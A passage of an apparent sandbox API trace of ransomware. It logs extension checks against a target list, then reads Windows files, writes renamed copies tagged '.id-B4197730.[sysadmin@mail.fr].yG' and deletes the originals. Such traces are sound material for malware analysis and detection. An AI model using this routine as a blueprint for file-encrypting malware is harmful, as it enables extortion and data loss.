	[0044.431] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 1
	[0044.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0044.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0044.431] lstrlenW (lpString=".doc") returned 4
	[0044.431] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0044.432] lstrlenW (lpString=".docx") returned 5
	[0044.432] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0044.432] lstrlenW (lpString=".pdf") returned 4
	[0044.432] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0044.432] lstrlenW (lpString=".xls") returned 4
	[0044.432] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0044.432] lstrlenW (lpString=".xlsx") returned 5
	[0044.432] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0044.432] lstrlenW (lpString=".ppt") returned 4
	[0044.432] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0044.432] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0044.432] lstrlenW (lpString=".zip") returned 4
	[0044.432] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0044.432] lstrlenW (lpString=".rar") returned 4
	[0044.432] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0044.432] lstrlenW (lpString=".bz2") returned 4
	[0044.432] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0044.432] lstrlenW (lpString=".7z") returned 3
	[0044.432] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0044.432] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0044.432] lstrlenW (lpString=".dbf") returned 4
	[0044.432] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0044.432] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0044.432] lstrlenW (lpString=".1cd") returned 4
	[0044.432] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0044.432] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0044.432] lstrlenW (lpString=".jpg") returned 4
	[0044.432] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0044.432] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0044.432] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0044.432] lstrlenW (lpString=".doc") returned 4
	[0044.432] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0044.432] lstrlenW (lpString=".docx") returned 5
	[0044.432] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0044.433] lstrlenW (lpString=".pdf") returned 4
	[0044.433] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0044.433] lstrlenW (lpString=".xls") returned 4
	[0044.433] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0044.433] lstrlenW (lpString=".xlsx") returned 5
	[0044.433] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0044.433] lstrlenW (lpString=".ppt") returned 4
	[0044.433] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0044.433] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0044.433] lstrlenW (lpString=".zip") returned 4
	[0044.433] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0044.433] lstrlenW (lpString=".rar") returned 4
	[0044.434] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0044.434] lstrlenW (lpString=".bz2") returned 4
	[0044.434] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0044.434] lstrlenW (lpString=".7z") returned 3
	[0044.434] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0044.434] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0044.434] lstrlenW (lpString=".dbf") returned 4
	[0044.434] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0044.434] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0044.434] lstrlenW (lpString=".1cd") returned 4
	[0044.434] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0044.434] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39
	[0044.434] lstrlenW (lpString=".jpg") returned 4
	[0044.434] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0044.434] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0044.434] lstrlenW (lpString="ParameterInfo.xml") returned 17
	[0044.434] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0044.449] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=272046) returned 1
	[0044.449] CloseHandle (hObject=0x2fc) returned 1
	[0044.449] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80
	[0044.449] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.452] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0044.452] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.452] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.452] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0044.455] GetLastError () returned 0x0
	[0044.455] ReadFile (in: hFile=0x2f8, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x426ae, lpOverlapped=0x0) returned 1
	[0044.894] WriteFile (in: hFile=0x37c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x426b0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x426b0, lpOverlapped=0x0) returned 1
	[0044.898] ReadFile (in: hFile=0x2f8, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.898] WriteFile (in: hFile=0x37c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0044.898] SetEndOfFile (hFile=0x37c) returned 1
	[0044.898] CloseHandle (hObject=0x37c) returned 1
	[0044.903] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.903] SetEndOfFile (hFile=0x2f8) returned 1
	[0044.905] CloseHandle (hObject=0x2f8) returned 1
	[0044.905] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.906] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 1
	[0044.906] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0044.906] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0044.906] lstrlenW (lpString=".doc") returned 4
	[0044.906] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0044.906] lstrlenW (lpString=".docx") returned 5
	[0044.906] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0044.906] lstrlenW (lpString=".pdf") returned 4
	[0044.906] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0044.906] lstrlenW (lpString=".xls") returned 4
	[0044.906] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0044.906] lstrlenW (lpString=".xlsx") returned 5
	[0044.906] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0044.906] lstrlenW (lpString=".ppt") returned 4
	[0044.906] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0044.906] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0044.906] lstrlenW (lpString=".zip") returned 4
	[0044.906] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0044.906] lstrlenW (lpString=".rar") returned 4
	[0044.906] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0044.906] lstrlenW (lpString=".bz2") returned 4
	[0044.906] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0044.906] lstrlenW (lpString=".7z") returned 3
	[0044.906] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0044.906] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0044.906] lstrlenW (lpString=".dbf") returned 4
	[0044.906] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0044.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0044.907] lstrlenW (lpString=".1cd") returned 4
	[0044.907] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0044.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0044.907] lstrlenW (lpString=".jpg") returned 4
	[0044.907] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0044.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0044.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0044.907] lstrlenW (lpString=".doc") returned 4
	[0044.907] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0044.907] lstrlenW (lpString=".docx") returned 5
	[0044.907] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0044.907] lstrlenW (lpString=".pdf") returned 4
	[0044.907] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0044.907] lstrlenW (lpString=".xls") returned 4
	[0044.907] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0044.907] lstrlenW (lpString=".xlsx") returned 5
	[0044.907] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0044.907] lstrlenW (lpString=".ppt") returned 4
	[0044.907] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0044.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0044.907] lstrlenW (lpString=".zip") returned 4
	[0044.907] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0044.907] lstrlenW (lpString=".rar") returned 4
	[0044.907] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0044.907] lstrlenW (lpString=".bz2") returned 4
	[0044.907] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0044.907] lstrlenW (lpString=".7z") returned 3
	[0044.907] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0044.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0044.907] lstrlenW (lpString=".dbf") returned 4
	[0044.907] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0044.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0044.907] lstrlenW (lpString=".1cd") returned 4
	[0044.907] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0044.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0044.908] lstrlenW (lpString=".jpg") returned 4
	[0044.908] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0044.908] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0044.908] lstrlenW (lpString="OfficeUpdateSchedule.xml") returned 24
	[0044.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0045.062] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=4782) returned 1
	[0045.062] CloseHandle (hObject=0x388) returned 1
	[0045.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 0x20
	[0045.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.063] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0045.063] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0045.063] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0045.063] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0045.063] GetLastError () returned 0x0
	[0045.063] ReadFile (in: hFile=0x388, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x12ae, lpOverlapped=0x0) returned 1
	[0045.154] WriteFile (in: hFile=0x348, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x12b0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x12b0, lpOverlapped=0x0) returned 1
	[0045.154] ReadFile (in: hFile=0x388, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0045.155] WriteFile (in: hFile=0x348, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x104, lpOverlapped=0x0) returned 1
	[0045.155] SetEndOfFile (hFile=0x348) returned 1
	[0045.155] CloseHandle (hObject=0x348) returned 1
	[0045.155] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0045.155] SetEndOfFile (hFile=0x388) returned 1
	[0045.156] CloseHandle (hObject=0x388) returned 1
	[0045.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0045.156] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 1
	[0045.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0045.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0045.157] lstrlenW (lpString=".doc") returned 4
	[0045.157] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.157] lstrlenW (lpString=".docx") returned 5
	[0045.157] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0045.157] lstrlenW (lpString=".pdf") returned 4
	[0045.157] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.157] lstrlenW (lpString=".xls") returned 4
	[0045.157] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.157] lstrlenW (lpString=".xlsx") returned 5
	[0045.157] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0045.157] lstrlenW (lpString=".ppt") returned 4
	[0045.157] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0045.157] lstrlenW (lpString=".zip") returned 4
	[0045.157] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.157] lstrlenW (lpString=".rar") returned 4
	[0045.157] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.157] lstrlenW (lpString=".bz2") returned 4
	[0045.157] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.157] lstrlenW (lpString=".7z") returned 3
	[0045.157] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0045.158] lstrlenW (lpString=".dbf") returned 4
	[0045.158] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0045.158] lstrlenW (lpString=".1cd") returned 4
	[0045.158] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0045.158] lstrlenW (lpString=".jpg") returned 4
	[0045.158] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0045.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0045.158] lstrlenW (lpString=".doc") returned 4
	[0045.158] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.158] lstrlenW (lpString=".docx") returned 5
	[0045.158] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0045.158] lstrlenW (lpString=".pdf") returned 4
	[0045.158] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.158] lstrlenW (lpString=".xls") returned 4
	[0045.158] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.158] lstrlenW (lpString=".xlsx") returned 5
	[0045.158] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0045.158] lstrlenW (lpString=".ppt") returned 4
	[0045.158] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0045.158] lstrlenW (lpString=".zip") returned 4
	[0045.158] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.158] lstrlenW (lpString=".rar") returned 4
	[0045.158] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.158] lstrlenW (lpString=".bz2") returned 4
	[0045.158] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.158] lstrlenW (lpString=".7z") returned 3
	[0045.158] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0045.158] lstrlenW (lpString=".dbf") returned 4
	[0045.158] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0045.158] lstrlenW (lpString=".1cd") returned 4
	[0045.159] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0045.159] lstrlenW (lpString=".jpg") returned 4
	[0045.159] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.159] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0045.159] lstrlenW (lpString="boxed-correct.avi") returned 17
	[0045.159] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0045.603] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=111320) returned 1
	[0045.603] CloseHandle (hObject=0x2e0) returned 1
	[0045.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20
	[0045.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0045.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0045.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0045.603] lstrlenW (lpString=".doc") returned 4
	[0045.603] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0045.603] lstrlenW (lpString=".docx") returned 5
	[0045.603] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0045.603] lstrlenW (lpString=".pdf") returned 4
	[0045.603] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0045.603] lstrlenW (lpString=".xls") returned 4
	[0045.603] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0045.603] lstrlenW (lpString=".xlsx") returned 5
	[0045.603] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0045.603] lstrlenW (lpString=".ppt") returned 4
	[0045.603] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0045.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0045.603] lstrlenW (lpString=".zip") returned 4
	[0045.603] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0045.604] lstrlenW (lpString=".rar") returned 4
	[0045.604] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0045.604] lstrlenW (lpString=".bz2") returned 4
	[0045.604] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0045.604] lstrlenW (lpString=".7z") returned 3
	[0045.604] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0045.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0045.604] lstrlenW (lpString=".dbf") returned 4
	[0045.604] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0045.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0045.606] lstrlenW (lpString=".1cd") returned 4
	[0045.606] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0045.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0045.606] lstrlenW (lpString=".jpg") returned 4
	[0045.606] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0045.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0045.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0045.606] lstrlenW (lpString=".doc") returned 4
	[0045.606] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0045.606] lstrlenW (lpString=".docx") returned 5
	[0045.606] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0045.606] lstrlenW (lpString=".pdf") returned 4
	[0045.606] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0045.606] lstrlenW (lpString=".xls") returned 4
	[0045.606] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0045.606] lstrlenW (lpString=".xlsx") returned 5
	[0045.606] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0045.606] lstrlenW (lpString=".ppt") returned 4
	[0045.606] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0045.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0045.606] lstrlenW (lpString=".zip") returned 4
	[0045.606] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0045.606] lstrlenW (lpString=".rar") returned 4
	[0045.606] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0045.606] lstrlenW (lpString=".bz2") returned 4
	[0045.606] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
